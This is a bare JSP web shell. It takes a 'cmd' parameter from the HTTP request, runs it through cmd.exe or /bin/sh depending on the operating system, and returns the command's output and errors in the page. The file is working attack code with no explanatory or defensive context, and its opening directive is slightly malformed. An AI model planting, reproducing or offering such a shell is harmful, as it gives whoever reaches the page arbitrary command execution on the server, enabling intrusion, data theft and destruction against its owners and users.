%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String[] cmd; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmd = new String[] {"cmd.exe", "/c", request.getParameter("cmd")}; } else { cmd = new String[] {"/bin/sh", "-c", request.getParameter("cmd")}; } Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; out.println("
");
while ((line = reader.readLine()) != null) {
out.println(line);
}
BufferedReader errorReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
out.println("");
}
%>